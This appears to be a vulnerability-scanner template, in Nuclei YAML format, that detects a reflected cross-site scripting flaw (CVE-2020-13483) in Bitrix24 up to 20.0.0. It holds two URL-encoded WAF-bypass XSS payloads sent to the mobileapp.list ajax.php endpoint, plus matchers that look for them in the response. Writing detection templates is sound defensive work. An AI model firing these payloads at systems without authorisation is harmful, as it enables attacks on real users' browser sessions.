55 lines
2.5 KiB
YAML
55 lines
2.5 KiB
YAML
id: CVE-2020-13483
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info:
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name: Bitrix24 <=20.0.0 - Cross-Site Scripting
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author: pikpikcu,3th1c_yuk1
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severity: medium
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description: The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability.
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reference:
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- https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
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- https://twitter.com/brutelogic/status/1483073170827628547
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- https://nvd.nist.gov/vuln/detail/CVE-2020-13483
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2020-13483
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cwe-id: CWE-79
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epss-score: 0.00113
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epss-percentile: 0.44613
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cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: bitrix24
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product: bitrix24
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tags: cve2020,cve,xss,bitrix,bitrix24
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http:
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- method: GET
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path:
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- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
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- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<a href="/*">*/)});function __MobileAppList(){alert(1)}//'
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- "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
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condition: or
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502202a2a07e609f8caed685b761ba01951c30fa18263d434c61f9e3a4e22ca861e41022100fa70983fe24c6aab2c9b4f3be6a814c578bf2f453df7b94a8ee3674f2a4b8db0:922c64590222798bb761d5b6d8e72950 |